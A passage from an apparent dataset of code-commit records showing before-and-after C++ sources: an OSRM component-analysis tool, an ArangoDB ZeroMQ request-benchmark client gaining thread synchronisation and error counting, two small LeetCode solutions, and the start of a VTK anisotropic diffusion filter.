\"..\/Util\/GraphLoader.h\"\n\nusing namespace std;\n\ntypedef QueryEdge::EdgeData EdgeData;\ntypedef DynamicGraph<EdgeData>::InputEdge InputEdge;\ntypedef BaseConfiguration ContractorConfiguration;\n\nstd::vector<NodeInfo> internalToExternalNodeMapping;\nstd::vector<_Restriction> inputRestrictions;\nstd::vector<NodeID> bollardNodes;\nstd::vector<NodeID> trafficLightNodes;\n\nint main (int argc, char *argv[]) {\n    if(argc < 3) {\n        ERR(\"usage: \" << std::endl << argv[0] << \" <osrm-data> <osrm-restrictions>\");\n    }\n    std::string SRTM_ROOT;\n\n    INFO(\"Using restrictions from file: \" << argv[2]);\n    std::ifstream restrictionsInstream(argv[2], ios::binary);\n    if(!restrictionsInstream.good()) {\n        ERR(\"Could not access <osrm-restrictions> files\");\n    }\n    _Restriction restriction;\n    unsigned usableRestrictionsCounter(0);\n    restrictionsInstream.read((char*)&usableRestrictionsCounter, sizeof(unsigned));\n    inputRestrictions.resize(usableRestrictionsCounter);\n    restrictionsInstream.read((char *)&(inputRestrictions[0]), usableRestrictionsCounter*sizeof(_Restriction));\n    restrictionsInstream.close();\n\n    std::ifstream in;\n    in.open (argv[1], std::ifstream::in | std::ifstream::binary);\n    if (!in.is_open()) {\n        ERR(\"Cannot open \" << argv[1]);\n    }\n\n    std::vector<ImportEdge> edgeList;\n    NodeID nodeBasedNodeNumber = readBinaryOSRMGraphFromStream(in, edgeList, bollardNodes, trafficLightNodes, &internalToExternalNodeMapping, inputRestrictions);\n    in.close();\n    INFO(inputRestrictions.size() << \" restrictions, \" << bollardNodes.size() << \" bollard nodes, \" << trafficLightNodes.size() << \" traffic lights\");\n\n    \/***\n     * Building an edge-expanded graph from node-based input an turn restrictions\n     *\/\n\n    INFO(\"Starting SCC graph traversal\");\n    TarjanSCC * tarjan = new TarjanSCC (nodeBasedNodeNumber, edgeList, bollardNodes, trafficLightNodes, inputRestrictions, internalToExternalNodeMapping);\n    std::vector<ImportEdge>().swap(edgeList);\n    tarjan->Run();\n    std::vector<_Restriction>().swap(inputRestrictions);\n    std::vector<NodeID>().swap(bollardNodes);\n    std::vector<NodeID>().swap(trafficLightNodes);\n    INFO(\"finished component analysis\");\n    return 0;\n}\n<commit_msg>Adding include<commit_after>\/*\n    open source routing machine\n    Copyright (C) Dennis Luxen, 2010\n\nThis program is free software; you can redistribute it and\/or modify\nit under the terms of the GNU AFFERO General Public License as published by\nthe Free Software Foundation; either version 3 of the License, or\nany later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU Affero General Public License\nalong with this program; if not, write to the Free Software\nFoundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\nor see http:\/\/www.gnu.org\/licenses\/agpl.txt.\n *\/\n\n#define VERBOSE(x) x\n#define VERBOSE2(x)\n\n#ifdef NDEBUG\n#undef VERBOSE\n#undef VERBOSE2\n#endif\n\n#include <boost\/foreach.hpp>\n\n#include <fstream>\n#include <istream>\n#include <iostream>\n#include <cstring>\n#include <string>\n#include <vector>\n\n#include \"..\/typedefs.h\"\n#include \"..\/Algorithms\/StronglyConnectedComponents.h\"\n#include \"..\/DataStructures\/BinaryHeap.h\"\n#include \"..\/DataStructures\/DeallocatingVector.h\"\n#include \"..\/DataStructures\/DynamicGraph.h\"\n#include \"..\/DataStructures\/QueryEdge.h\"\n#include \"..\/DataStructures\/TurnInstructions.h\"\n#include \"..\/Util\/BaseConfiguration.h\"\n#include \"..\/Util\/InputFileUtil.h\"\n#include \"..\/Util\/GraphLoader.h\"\n\nusing namespace std;\n\ntypedef QueryEdge::EdgeData EdgeData;\ntypedef DynamicGraph<EdgeData>::InputEdge InputEdge;\ntypedef BaseConfiguration ContractorConfiguration;\n\nstd::vector<NodeInfo> internalToExternalNodeMapping;\nstd::vector<_Restriction> inputRestrictions;\nstd::vector<NodeID> bollardNodes;\nstd::vector<NodeID> trafficLightNodes;\n\nint main (int argc, char *argv[]) {\n    if(argc < 3) {\n        ERR(\"usage: \" << std::endl << argv[0] << \" <osrm-data> <osrm-restrictions>\");\n    }\n    std::string SRTM_ROOT;\n\n    INFO(\"Using restrictions from file: \" << argv[2]);\n    std::ifstream restrictionsInstream(argv[2], ios::binary);\n    if(!restrictionsInstream.good()) {\n        ERR(\"Could not access <osrm-restrictions> files\");\n    }\n    _Restriction restriction;\n    unsigned usableRestrictionsCounter(0);\n    restrictionsInstream.read((char*)&usableRestrictionsCounter, sizeof(unsigned));\n    inputRestrictions.resize(usableRestrictionsCounter);\n    restrictionsInstream.read((char *)&(inputRestrictions[0]), usableRestrictionsCounter*sizeof(_Restriction));\n    restrictionsInstream.close();\n\n    std::ifstream in;\n    in.open (argv[1], std::ifstream::in | std::ifstream::binary);\n    if (!in.is_open()) {\n        ERR(\"Cannot open \" << argv[1]);\n    }\n\n    std::vector<ImportEdge> edgeList;\n    NodeID nodeBasedNodeNumber = readBinaryOSRMGraphFromStream(in, edgeList, bollardNodes, trafficLightNodes, &internalToExternalNodeMapping, inputRestrictions);\n    in.close();\n    INFO(inputRestrictions.size() << \" restrictions, \" << bollardNodes.size() << \" bollard nodes, \" << trafficLightNodes.size() << \" traffic lights\");\n\n    \/***\n     * Building an edge-expanded graph from node-based input an turn restrictions\n     *\/\n\n    INFO(\"Starting SCC graph traversal\");\n    TarjanSCC * tarjan = new TarjanSCC (nodeBasedNodeNumber, edgeList, bollardNodes, trafficLightNodes, inputRestrictions, internalToExternalNodeMapping);\n    std::vector<ImportEdge>().swap(edgeList);\n    tarjan->Run();\n    std::vector<_Restriction>().swap(inputRestrictions);\n    std::vector<NodeID>().swap(bollardNodes);\n    std::vector<NodeID>().swap(trafficLightNodes);\n    INFO(\"finished component analysis\");\n    return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/ Hello World client\n\/\/ Connects REQ socket to tcp:\/\/localhost:5555\n\/\/ Sends \"Hello\" to server, expects \"World\" back\n\/\/\n#include <zmq.h>\n#include <string.h>\n#include <stdio.h>\n#include <unistd.h>\n#include <stdlib.h>\n#include <time.h>\n#include <sys\/time.h>\n#include <getopt.h>\n#include <pthread.h>\n\n#include <string>\n#include <map>\n#include <algorithm>\n#include <iostream>\n\n#include \"ProtocolBuffers\/arangodb.pb.h\"\n\nusing namespace std;\n\nvoid* context = 0;\n\n\/\/ default values\nsize_t loop = 10000;\nsize_t concurrency = 1;\nsize_t pipelined = 1;\nchar const* connection = \"tcp:\/\/localhost:5555\";\nchar const* path = \"\/_api\/version\";\nbool verbose = false;\nmap<string, string> headers;\nmap<string, string> values;\n\n\n\nvoid* ThreadStarter (void* data) {\n  int res;\n  size_t n;\n  void* requester;\n\n  requester = zmq_socket(context, ZMQ_REQ);\n  res = zmq_connect(requester, connection);\n\n  if (res != 0) {\n    printf(\"ERROR zmq_connect: %d\\n\", errno);\n    exit(EXIT_FAILURE);\n  }\n  \n  if (verbose) {\n    printf(\"connected\\n\");\n  }\n\n  for (n = 0; n < loop; n += pipelined) {\n    zmq_msg_t request;\n    zmq_msg_t reply;\n\n    PB_ArangoMessage messages;\n    PB_ArangoBatchMessage* batch;\n    PB_ArangoBlobRequest* blob;\n    PB_ArangoKeyValue* kv;\n\n    for (size_t p = 0; p < pipelined; p++) {\n      batch = messages.add_messages();\n\n      batch->set_type(PB_BLOB_REQUEST);\n      blob = batch->mutable_request();\n\n      map<string, string>::iterator it;\n\n      for (it = headers.begin(); it != headers.end(); ++it) {\n        kv = blob->add_headers();\n        kv->set_key((*it).first);\n        kv->set_value((*it).second);\n      }\n      \n      for (it = values.begin(); it != values.end(); ++it) {\n        kv = blob->add_values();\n        kv->set_key((*it).first);\n        kv->set_value((*it).second);\n      }\n\n      blob->set_requesttype(PB_REQUEST_TYPE_GET);\n      blob->set_url(path);\n      blob->set_contenttype(PB_NO_CONTENT);\n      blob->set_contentlength(0);\n      blob->set_content(\"\");\n    }\n   \n    string data;\n    messages.SerializeToString(&data);\n\n    \/\/ send\n    zmq_msg_init_size(&request, data.size());\n    memcpy(zmq_msg_data(&request), data.c_str(), data.size());\n\n    res = zmq_send(requester, &request, 0);\n\n    if (res != 0) {\n      printf(\"ERROR zmq_send: %d %d %s\\n\", (int) res, (int) errno, strerror(errno));\n    }\n\n    zmq_msg_close(&request);\n\n    \/\/ receive\n    zmq_msg_init(&reply);\n\n    res = zmq_recv(requester, &reply, 0);\n\n    if (res != 0) {\n      printf(\"ERROR zmq_recv: %d %d %s\\n\", (int) res, (int) errno, strerror(errno));\n    }\n\n    zmq_msg_close(&reply);\n  }\n\n  zmq_close(requester);\n\n  return 0;\n}\n\n\n\/* Return 1 if the difference is negative, otherwise 0.  *\/\nint timeval_subtract(struct timeval* result, struct timeval* t2, struct timeval* t1) {\n  long int diff = (t2->tv_usec + 1000000 * t2->tv_sec) - (t1->tv_usec + 1000000 * t1->tv_sec);\n  result->tv_sec = diff \/ 1000000;\n  result->tv_usec = diff % 1000000;\n\n  return (diff<0);\n}\n\n\nvoid addHeader (char* arg) {\n  string header(arg);\n  size_t found = header.find('=', 0);\n\n  if (found == string::npos) {\n    fprintf(stderr, \"invalid header %s\\n\", arg);\n    exit(EXIT_FAILURE);\n  }\n\n  string key(header.substr(0, found));\n  string value(header.substr(found + 1, header.length() - found - 1));\n\n  std::transform(key.begin(), key.end(), key.begin(), ::tolower);\n  headers[key] = value;\n}\n\nvoid addValue (char* arg) {\n  string data(arg);\n  size_t found = data.find('=', 0);\n\n  if (found == string::npos) {\n    fprintf(stderr, \"invalid value %s\\n\", arg);\n    exit(EXIT_FAILURE);\n  }\n\n  string key(data.substr(0, found));\n  string value(data.substr(found + 1, data.length() - found - 1));\n\n  values[key] = value;\n}\n        \nvoid printUsage (char* prg) {        \n  fprintf(stderr, \"Usage: %s [-C connection] [-u path] [-h \\\"key=value\\\"] [-v \\\"key=value\\\"] [-P pipeline] [-c concurrency] [-n count] [-d]\\n\", prg);\n  fprintf(stderr, \"Options:\\n\");\n  fprintf(stderr, \"-C connection       connection string, e.g. tcp:\/\/localhost:5555\\n\");\n  fprintf(stderr, \"-u path             endpoint to call, e.g. \/_api\/version\\n\");\n  fprintf(stderr, \"-h \\\"key=value\\\"      add arbitrary header\\n\");\n  fprintf(stderr, \"-v \\\"key=value\\\"      add arbitrary body value\\n\");\n  fprintf(stderr, \"-P pipeline         send <pipeline> values in each batch (default: 1)\\n\");\n  fprintf(stderr, \"-c concurrency      number of concurrent client threads (default: 1)\\n\");\n  fprintf(stderr, \"-n count            number of requests to perform per client thread\\n\");\n}\n\n\nint main (int argc, char* argv[]) {\n  struct timeval start, end, result;\n  float rps, runtime;\n  size_t i;\n  int opt;\n  pthread_t* threads;\n\n  while ((opt = getopt(argc, argv, \"C:u:h:v:P:c:n:d\")) != -1) {\n    switch (opt) {\n      case 'C':\n        connection = optarg;\n        break;\n      case 'u':\n        path = optarg;\n        break;\n      case 'h':\n        addHeader(optarg);\n        break;\n      case 'v':\n        addValue(optarg);\n        break;\n      case 'P':\n        pipelined = atoi(optarg);\n        if (pipelined < 1) {\n          fprintf(stderr, \"pipeline argument must be at least 1\\n\");\n          exit(EXIT_FAILURE);\n        }\n        break;\n      case 'c':\n        concurrency = atoi(optarg);\n        if (concurrency < 1) {\n          fprintf(stderr, \"concurrency must be at least 1\\n\");\n          exit(EXIT_FAILURE);\n        }\n        break;\n      case 'n':\n        loop = atoi(optarg);\n        break;\n      case 'd':\n        verbose = true;\n        break;\n      default: \n        printUsage(argv[0]);\n        exit(EXIT_FAILURE);\n    }\n  }\n\n  printf(\"Looping %d times per thread, total %d, pipelined %d\\n\", (int) loop, (int) (loop * concurrency), (int) pipelined);\n  printf(\"Concurrency %d\\n\", (int) concurrency);\n  printf(\"Connection %s\\n\", connection);\n\n  context = zmq_init(16);\n\n  if (verbose) {\n    printf(\"Connecting to server…\\n\");\n  }\n\n  threads = (pthread_t*) malloc(sizeof(pthread_t) * concurrency);\n\n  for (i = 0;  i < concurrency;  ++i) {\n    pthread_create(&threads[i], 0, &ThreadStarter, 0);\n  }\n\n  gettimeofday(&start, 0);\n\n  for (i = 0;  i < concurrency;  ++i) {\n    pthread_join(threads[i], 0);\n  }\n  \n  gettimeofday(&end, 0);\n  timeval_subtract(&result, &end, &start);\n  runtime = (float) result.tv_sec + (float) ((float) result.tv_usec \/ 1000000.0);\n\n  rps = (float) loop * (float) concurrency \/ runtime;\n  printf(\"runtime %f sec, req\/sec %f, req\/sec\/thread %f\\n\", runtime, rps, rps \/ (float) concurrency);\n\n  zmq_term(context);\n  free(threads);\n\n  threads = 0;\n  context = 0;\n\n  return 0;\n}\n<commit_msg>sync all clients<commit_after>\/\/\n\/\/ Hello World client\n\/\/ Connects REQ socket to tcp:\/\/localhost:5555\n\/\/ Sends \"Hello\" to server, expects \"World\" back\n\/\/\n#include <zmq.h>\n#include <string.h>\n#include <stdio.h>\n#include <unistd.h>\n#include <stdlib.h>\n#include <time.h>\n#include <sys\/time.h>\n#include <getopt.h>\n#include <pthread.h>\n\n#include <string>\n#include <map>\n#include <algorithm>\n#include <iostream>\n\n#include \"ProtocolBuffers\/arangodb.pb.h\"\n\nusing namespace std;\n\nvoid* context = 0;\nsize_t errors = 0;\npthread_cond_t condition = PTHREAD_COND_INITIALIZER;\npthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;\nbool canStart = false;\n\n\/\/ default values\nsize_t loop = 10000;\nsize_t concurrency = 1;\nsize_t pipelined = 1;\nchar const* connection = \"tcp:\/\/localhost:5555\";\nchar const* path = \"\/_api\/version\";\nbool verbose = false;\nmap<string, string> headers;\nmap<string, string> values;\n\n\n\nvoid* ThreadStarter (void* data) {\n  int res, rc;\n  size_t n;\n  void* requester;\n\n  requester = zmq_socket(context, ZMQ_REQ);\n  res = zmq_connect(requester, connection);\n\n  if (res != 0) {\n    printf(\"ERROR zmq_connect: %d\\n\", errno);\n    exit(EXIT_FAILURE);\n  }\n  \n  if (verbose) {\n    printf(\"connected\\n\");\n  }\n\n  rc = pthread_mutex_lock(&mutex);\n    \n  while (!canStart) {\n    rc = pthread_cond_wait(&condition, &mutex);\n  }\n                      \n  rc = pthread_mutex_unlock(&mutex);\n\n  for (n = 0; n < loop; n += pipelined) {\n    zmq_msg_t request;\n    zmq_msg_t reply;\n\n    PB_ArangoMessage messages;\n    PB_ArangoBatchMessage* batch;\n    PB_ArangoBlobRequest* blob;\n    PB_ArangoKeyValue* kv;\n\n    for (size_t p = 0; p < pipelined; p++) {\n      batch = messages.add_messages();\n\n      batch->set_type(PB_BLOB_REQUEST);\n      blob = batch->mutable_request();\n\n      map<string, string>::iterator it;\n\n      for (it = headers.begin(); it != headers.end(); ++it) {\n        kv = blob->add_headers();\n        kv->set_key((*it).first);\n        kv->set_value((*it).second);\n      }\n      \n      for (it = values.begin(); it != values.end(); ++it) {\n        kv = blob->add_values();\n        kv->set_key((*it).first);\n        kv->set_value((*it).second);\n      }\n\n      blob->set_requesttype(PB_REQUEST_TYPE_GET);\n      blob->set_url(path);\n      blob->set_contenttype(PB_NO_CONTENT);\n      blob->set_contentlength(0);\n      blob->set_content(\"\");\n    }\n   \n    string data;\n    messages.SerializeToString(&data);\n\n    \/\/ send\n    zmq_msg_init_size(&request, data.size());\n    memcpy(zmq_msg_data(&request), data.c_str(), data.size());\n\n    res = zmq_send(requester, &request, 0);\n\n    if (res != 0) {\n      printf(\"ERROR zmq_send: %d %d %s\\n\", (int) res, (int) errno, strerror(errno));\n      ++errors;\n    }\n\n    zmq_msg_close(&request);\n\n    \/\/ receive\n    zmq_msg_init(&reply);\n\n    res = zmq_recv(requester, &reply, 0);\n\n    if (res != 0) {\n      printf(\"ERROR zmq_recv: %d %d %s\\n\", (int) res, (int) errno, strerror(errno));\n      ++errors;\n    }\n\n    zmq_msg_close(&reply);\n  }\n\n  zmq_close(requester);\n\n  return 0;\n}\n\n\n\/* Return 1 if the difference is negative, otherwise 0.  *\/\nint timeval_subtract(struct timeval* result, struct timeval* t2, struct timeval* t1) {\n  long int diff = (t2->tv_usec + 1000000 * t2->tv_sec) - (t1->tv_usec + 1000000 * t1->tv_sec);\n  result->tv_sec = diff \/ 1000000;\n  result->tv_usec = diff % 1000000;\n\n  return (diff<0);\n}\n\n\nvoid addHeader (char* arg) {\n  string header(arg);\n  size_t found = header.find('=', 0);\n\n  if (found == string::npos) {\n    fprintf(stderr, \"invalid header %s\\n\", arg);\n    exit(EXIT_FAILURE);\n  }\n\n  string key(header.substr(0, found));\n  string value(header.substr(found + 1, header.length() - found - 1));\n\n  std::transform(key.begin(), key.end(), key.begin(), ::tolower);\n  headers[key] = value;\n}\n\nvoid addValue (char* arg) {\n  string data(arg);\n  size_t found = data.find('=', 0);\n\n  if (found == string::npos) {\n    fprintf(stderr, \"invalid value %s\\n\", arg);\n    exit(EXIT_FAILURE);\n  }\n\n  string key(data.substr(0, found));\n  string value(data.substr(found + 1, data.length() - found - 1));\n\n  values[key] = value;\n}\n        \nvoid printUsage (char* prg) {        \n  fprintf(stderr, \"Usage: %s [-C connection] [-u path] [-h \\\"key=value\\\"] [-v \\\"key=value\\\"] [-P pipeline] [-c concurrency] [-n count] [-d]\\n\", prg);\n  fprintf(stderr, \"Options:\\n\");\n  fprintf(stderr, \"-C connection       connection string, e.g. tcp:\/\/localhost:5555\\n\");\n  fprintf(stderr, \"-u path             endpoint to call, e.g. \/_api\/version\\n\");\n  fprintf(stderr, \"-h \\\"key=value\\\"      add arbitrary header\\n\");\n  fprintf(stderr, \"-v \\\"key=value\\\"      add arbitrary body value\\n\");\n  fprintf(stderr, \"-P pipeline         send <pipeline> values in each batch (default: 1)\\n\");\n  fprintf(stderr, \"-c concurrency      number of concurrent client threads (default: 1)\\n\");\n  fprintf(stderr, \"-n count            number of requests to perform per client thread\\n\");\n}\n\n\nint main (int argc, char* argv[]) {\n  struct timeval start, end, result;\n  float rps, runtime;\n  size_t i;\n  int opt, rc;\n  pthread_t* threads;\n\n  while ((opt = getopt(argc, argv, \"C:u:h:v:P:c:n:d\")) != -1) {\n    switch (opt) {\n      case 'C':\n        connection = optarg;\n        break;\n      case 'u':\n        path = optarg;\n        break;\n      case 'h':\n        addHeader(optarg);\n        break;\n      case 'v':\n        addValue(optarg);\n        break;\n      case 'P':\n        pipelined = atoi(optarg);\n        if (pipelined < 1) {\n          fprintf(stderr, \"pipeline argument must be at least 1\\n\");\n          exit(EXIT_FAILURE);\n        }\n        break;\n      case 'c':\n        concurrency = atoi(optarg);\n        if (concurrency < 1) {\n          fprintf(stderr, \"concurrency must be at least 1\\n\");\n          exit(EXIT_FAILURE);\n        }\n        break;\n      case 'n':\n        loop = atoi(optarg);\n        break;\n      case 'd':\n        verbose = true;\n        break;\n      default: \n        printUsage(argv[0]);\n        exit(EXIT_FAILURE);\n    }\n  }\n\n  printf(\"Looping %d times per thread, total %d, pipelined %d\\n\", (int) loop, (int) (loop * concurrency), (int) pipelined);\n  printf(\"Concurrency %d\\n\", (int) concurrency);\n  printf(\"Connection %s\\n\", connection);\n\n  context = zmq_init(16);\n\n  if (verbose) {\n    printf(\"Connecting to server…\\n\");\n  }\n\n  threads = (pthread_t*) malloc(sizeof(pthread_t) * concurrency);\n\n  for (i = 0;  i < concurrency;  ++i) {\n    pthread_create(&threads[i], 0, &ThreadStarter, 0);\n  }\n\n  gettimeofday(&start, 0);\n  rc = pthread_mutex_lock(&mutex);\n  canStart = true;\n  rc = pthread_cond_broadcast(&condition);\n  rc = pthread_mutex_unlock(&mutex);\n\n  for (i = 0;  i < concurrency;  ++i) {\n    pthread_join(threads[i], 0);\n  }\n\n  gettimeofday(&end, 0);\n  timeval_subtract(&result, &end, &start);\n  runtime = (float) result.tv_sec + (float) ((float) result.tv_usec \/ 1000000.0);\n\n  rps = (float) loop * (float) concurrency \/ runtime;\n  printf(\"runtime %f sec, req\/sec %f, req\/sec\/thread %f\\n\", runtime, rps, rps \/ (float) concurrency);\n  printf(\"errors %ld\\n\", (long int) errors);\n\n  zmq_term(context);\n  free(threads);\n\n  pthread_cond_destroy(&condition);\n  pthread_mutex_destroy(&mutex);\n\n  return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Time:  O(n)\n\/\/ Space: O(h), h is the depth of the recursion\n\nclass Solution {\npublic:\n    string decodeString(string s) {\n        string curr;\n        stack<int> nums;\n        stack<string> strs;\n        int n = 0;\n        for (int i = 0; i < s.length(); ++i) {\n            if (isdigit(s[i])) {\n                n = n * 10 + s[i] - '0';\n            } else if (s[i] == '[') {\n                nums.emplace(n);\n                n = 0;\n                strs.emplace(curr);\n                curr.clear();\n            } else if (s[i] == ']') {\n                for (; nums.top() > 0; --nums.top()) {\n                    strs.top() += curr;\n                }\n                nums.pop();\n                curr = strs.top();\n                strs.pop();\n            } else {\n                curr += s[i];\n            }\n        }\n        return strs.empty() ? curr : strs.top();\n    }\n};\n<commit_msg>Update decode-string.cpp<commit_after>\/\/ Time:  O(n)\n\/\/ Space: O(h), h is the depth of the recursion\n\nclass Solution {\npublic:\n    string decodeString(string s) {\n        string curr;\n        stack<int> nums;\n        stack<string> strs;\n        int n = 0;\n        for (const auto& c: s) {\n            if (isdigit(c)) {\n                n = n * 10 + c - '0';\n            } else if (c == '[') {\n                nums.emplace(n);\n                n = 0;\n                strs.emplace(curr);\n                curr.clear();\n            } else if (c == ']') {\n                for (; nums.top() > 0; --nums.top()) {\n                    strs.top() += curr;\n                }\n                nums.pop();\n                curr = strs.top();\n                strs.pop();\n            } else {\n                curr += c;\n            }\n        }\n        return strs.empty() ? curr : strs.top();\n    }\n};\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Time:  O(n)\n\/\/ Space: O(1)\n\nclass Solution {\npublic:\n    \/**\n     * @param A: Array of integers.\n     * return: The single number.\n     *\/\n    int singleNumber(vector<int> &A) {\n        int single = 0;\n        for (auto& i : A) {\n            single ^= i;\n        }\n        \n        return single;\n    }\n};\n\n<commit_msg>Update single-number.cpp<commit_after>\/\/ Time:  O(n)\n\/\/ Space: O(1)\n\nclass Solution {\npublic:\n    \/**\n     * @param A: Array of integers.\n     * return: The single number.\n     *\/\n    int singleNumber(vector<int> &A) {\n        int single = 0;\n        for (const auto& i : A) {\n            single ^= i;\n        }\n        \n        return single;\n    }\n};\n<|endoftext|>"}
{"text":"<commit_before>\/*=========================================================================\n\n  Program:   Visualization Toolkit\n  Module:    vtkImageAnisotropicDiffusion2D.cxx\n  Language:  C++\n  Date:      $Date$\n  Version:   $Revision$\n  Thanks:    Thanks to C. Charles Law who developed this class.\n\nCopyright (c) 1993-1995 Ken Martin, Will Schroeder, Bill Lorensen.\n\nThis software is copyrighted by Ken Martin, Will Schroeder and Bill Lorensen.\nThe following terms apply to all files associated with the software unless\nexplicitly disclaimed in individual files. This copyright specifically does\nnot apply to the related textbook \"The Visualization Toolkit\" ISBN\n013199837-4 published by Prentice Hall which is covered by its own copyright.\n\nThe authors hereby grant permission to use, copy, and distribute this\nsoftware and its documentation for any purpose, provided that existing\ncopyright notices are retained in all copies and that this notice is included\nverbatim in any distributions. Additionally, the authors grant permission to\nmodify this software and its documentation for any purpose, provided that\nsuch modifications are not distributed without the explicit consent of the\nauthors and that existing copyright notices are retained in all copies. Some\nof the algorithms implemented by this software are patented, observe all\napplicable patent law.\n\nIN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY FOR\nDIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES ARISING OUT\nOF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY DERIVATIVES THEREOF,\nEVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\nTHE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES, INCLUDING,\nBUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A\nPARTICULAR PURPOSE, AND NON-INFRINGEMENT.  THIS SOFTWARE IS PROVIDED ON AN\n\"AS IS\" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE NO OBLIGATION TO PROVIDE\nMAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR MODIFICATIONS.\n\n\n=========================================================================*\/\n#include <math.h>\n#include \"vtkImageAnisotropicDiffusion2D.h\"\n\n\n\/\/----------------------------------------------------------------------------\n\/\/ Description:\n\/\/ Construct an instance of vtkImageAnisotropicDiffusion2D fitler.\nvtkImageAnisotropicDiffusion2D::vtkImageAnisotropicDiffusion2D()\n{\n  this->HandleBoundaries = 1;\n  this->SetNumberOfIterations(4);\n  this->DiffusionThreshold = 5.0;\n  this->DiffusionFactor = 1;\n  this->EdgesOn();\n  this->CornersOn();\n  this->GradientMagnitudeThresholdOff();\n}\n\n\n\/\/----------------------------------------------------------------------------\nvoid \nvtkImageAnisotropicDiffusion2D::PrintSelf(ostream& os, vtkIndent indent)\n{\n  this->vtkImageSpatialFilter::PrintSelf(os, indent);\n  os << indent << \"NumberOfIterations: \" << this->NumberOfIterations << \"\\n\";\n  os << indent << \"DiffusionThreshold: \" << this->DiffusionThreshold << \"\\n\";\n  os << indent << \"DiffusionFactor: \" << this->DiffusionFactor << \"\\n\";\n\n  if (this->Edges)\n    {\n    os << indent << \"Edges: On\\n\";\n    }\n  else\n    {\n    os << indent << \"Edges: Off\\n\";\n    }\n\n  if (this->Corners)\n    {\n    os << indent << \"Corners: On\\n\";\n    }\n  else\n    {\n    os << indent << \"Corners: Off\\n\";\n    }\n\n  if (this->GradientMagnitudeThreshold)\n    {\n    os << indent << \"GradientMagnitudeThreshold: On\\n\";\n    }\n  else\n    {\n    os << indent << \"GradientMagnitudeThreshold: Off\\n\";\n    }\n}\n\n\n\/\/----------------------------------------------------------------------------\n\/\/ Description:\n\/\/ This method sets the number of inputs which also affects the\n\/\/ input neighborhood needed to compute one output pixel.\nvoid vtkImageAnisotropicDiffusion2D::SetNumberOfIterations(int num)\n{\n  int temp;\n  \n  vtkDebugMacro(<< \"SetNumberOfIterations: \" << num);\n  if (this->NumberOfIterations == num) return;\n\n  this->Modified();\n  temp = num*2 + 1;\n  this->KernelSize[0] = temp;\n  this->KernelSize[1] = temp;\n  this->KernelMiddle[0] = num;\n  this->KernelMiddle[1] = num;\n\n  this->NumberOfIterations = num;\n}\n\n\n  \n  \n  \n  \n\/\/----------------------------------------------------------------------------\n\/\/ Description:\n\/\/ This method contains a switch statement that calls the correct\n\/\/ templated function for the input data type.  The input and output datas\n\/\/ must have the same data type.\nvoid vtkImageAnisotropicDiffusion2D::ThreadedExecute(vtkImageData *inData, \n\t\t\t\t\t\t     vtkImageData *outData,\n\t\t\t\t\t\t     int outExt[6], int id)\n{\n  int inExt[6];\n  float *ar;\n  int idx;\n  vtkImageData *temp;\n  \n  this->ComputeRequiredInputUpdateExtent(inExt,outExt);\n  \n  vtkDebugMacro(<< \"Execute: inData = \" << inData \n  << \", outData = \" << outData);\n  \n  \/\/ this filter expects that input is the same type as output.\n  if (inData->GetScalarType() != outData->GetScalarType())\n    {\n    vtkErrorMacro(<< \"Execute: input ScalarType, \" << inData->GetScalarType()\n                  << \", must match out ScalarType \" << outData->GetScalarType());\n    return;\n    }\n  \n  ar = inData->GetSpacing();\n\n  \/\/ make the temporary regions to iterate over.\n  vtkImageData *in = vtkImageData::New();\n  in->SetExtent(inExt);\n  in->SetNumberOfScalarComponents(inData->GetNumberOfScalarComponents());\n  in->SetScalarType(VTK_FLOAT);\n  in->CopyAndCastFrom(inData,inExt);\n  \n  vtkImageData *out = vtkImageData::New();\n  out->SetExtent(inExt);\n  out->SetNumberOfScalarComponents(inData->GetNumberOfScalarComponents());\n  out->SetScalarType(VTK_FLOAT);\n  \n  \/\/ Loop performing the diffusion\n  \/\/ Note: region extent could get smaller as the diffusion progresses\n  \/\/ (but never get smaller than output region).\n  for (idx = this->NumberOfIterations - 1; idx >= 0; --idx)\n    {\n    if (!id) this->UpdateProgress((float)(this->NumberOfIterations - idx)\n\t\t\t\t  \/this->NumberOfIterations);\n    this->Iterate(in, out, ar[0], ar[1], outExt, idx);\n    temp = in;\n    in = out;\n    out = temp;\n    }\n  \n  \/\/ copy results into output.\n  outData->CopyAndCastFrom(in,outExt);\n  in->Delete();\n  out->Delete();\n}\n\n  \n\n\/\/----------------------------------------------------------------------------\n\/\/ Description:\n\/\/ This method performs one pass of the diffusion filter.\n\/\/ The inData and outData are assumed to have data type float,\n\/\/ and have the same extent.\nvoid vtkImageAnisotropicDiffusion2D::Iterate(vtkImageData *inData, \n\t\t\t\t\t     vtkImageData *outData,\n\t\t\t\t\t     float ar0, float ar1,\n\t\t\t\t\t     int *coreExtent, int count)\n{\n  int idx0, idx1, idx2;\n  int inInc0, inInc1, inInc2;\n  int outInc0, outInc1, outInc2;\n  int inMin0, inMax0, inMin1, inMax1, inMin2, inMax2;\n  int min0, max0, min1, max1, min2, max2;\n  float *inPtr0, *inPtr1, *inPtr2;\n  float *outPtr0, *outPtr1, *outPtr2;\n  float th0, th1, th01;\n  float df0, df1, df01;\n  float temp, sum;\n  int idxC, maxC;\n\n  maxC = inData->GetNumberOfScalarComponents();\n  inData->GetExtent(inMin0, inMax0, inMin1, inMax1, inMin2, inMax2);\n  inData->GetIncrements(inInc0, inInc1, inInc2);\n  outData->GetIncrements(outInc0, outInc1, outInc2);\n\n  \/\/ Avoid warnings.\n  th0 = th1 = th01 = df0 = df1 = df01 = 0.0;\n  \n  \/\/ Compute direction specific 